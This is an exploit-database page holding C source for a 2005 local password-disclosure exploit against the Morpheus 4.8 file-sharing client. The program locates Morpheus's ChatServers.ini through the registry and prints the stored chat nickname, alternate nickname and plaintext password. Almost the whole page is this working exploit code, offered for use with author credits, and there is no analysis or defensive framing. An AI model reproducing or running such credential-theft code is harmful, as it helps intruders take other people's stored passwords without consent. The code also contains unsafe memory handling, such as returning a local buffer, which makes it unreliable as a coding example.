Lucene search
K

Morpheus <= 4.8 - Local Chat Passwords Disclosure Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

Morpheus 4.8 Local Chat Passwords Disclosure Exploit by Koza

Code

                                                /*******************************************************************

Morpheus 4.8 Local Chat Passwords Disclosure Exploit by Kozan

Application: Morpheus 4.8 (and probably prior versions)
Vendor: Streamcast Networks - www.streamcastnetworks.com
Vulnerable Description: Morpheus 4.8 discloses chat passwords
to local users.


Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: [email protected]

*******************************************************************/

#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
#include &#60;windows.h&#62;


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,&#34;rb&#34;);

if( di == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i&#60;strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i&#62;0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i &#62; ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}


char *oku(char *FilePath,char *Str)
{

FILE *di;
char cr;
int i=0;
char Feature[500];
char AhUlanSelmanOmrumuYedin = 0x0D;

int Offset = adresal(FilePath,Str);

if( Offset == -1 )
return &#34;&#34;;

if( (di=fopen(FilePath,&#34;rb&#34;)) == NULL )
return &#34;&#34;;

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == AhUlanSelmanOmrumuYedin)
break;
Feature[i] = cr;
i++;
}

Feature[i] = &#39;\0&#39;;
fclose(di);
return Feature;
}




int main()
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
&#34;SOFTWARE\\Microsoft\\Windows\\CurrentVersion&#34;,
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, &#34;ProgramFilesDir&#34;, NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen &#62; BUFSIZE) )
{
RegCloseKey(hKey);
printf(&#34;An error occured!\n&#34;);
exit(1);
}

RegCloseKey(hKey);

}
else
{
RegCloseKey(hKey);
printf(&#34;An error occured!\n&#34;);
exit(1);
}

strcat(prgfiles,&#34;\\StreamCast\\Morpheus\\ChatServers.ini&#34;);


printf(&#34;Morpheus 4.8 Local Chat Password Disclosure Exploit by Kozan\n&#34;);
printf(&#34;Credits to ATmaCA\n&#34;);
printf(&#34;www.netmagister.com - www.spyinstructors.com \n&#34;);
printf(&#34;[email protected] \n\n&#34;);

char Nickname[BUFSIZE], AltNick[BUFSIZE], Password[BUFSIZE];

strcpy(Nickname,oku(prgfiles,&#34;Nick=&#34;));
strcpy(AltNick,oku(prgfiles,&#34;AltNick=&#34;));
strcpy(Password,oku(prgfiles,&#34;Pwd=&#34;));

printf(&#34;Nickname : %s\n&#34;,Nickname);
printf(&#34;Altnick : %s\n&#34;,AltNick);
printf(&#34;Password : %s\n&#34;,Password);

return 0;
} 

// milw0rm.com [2005-04-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation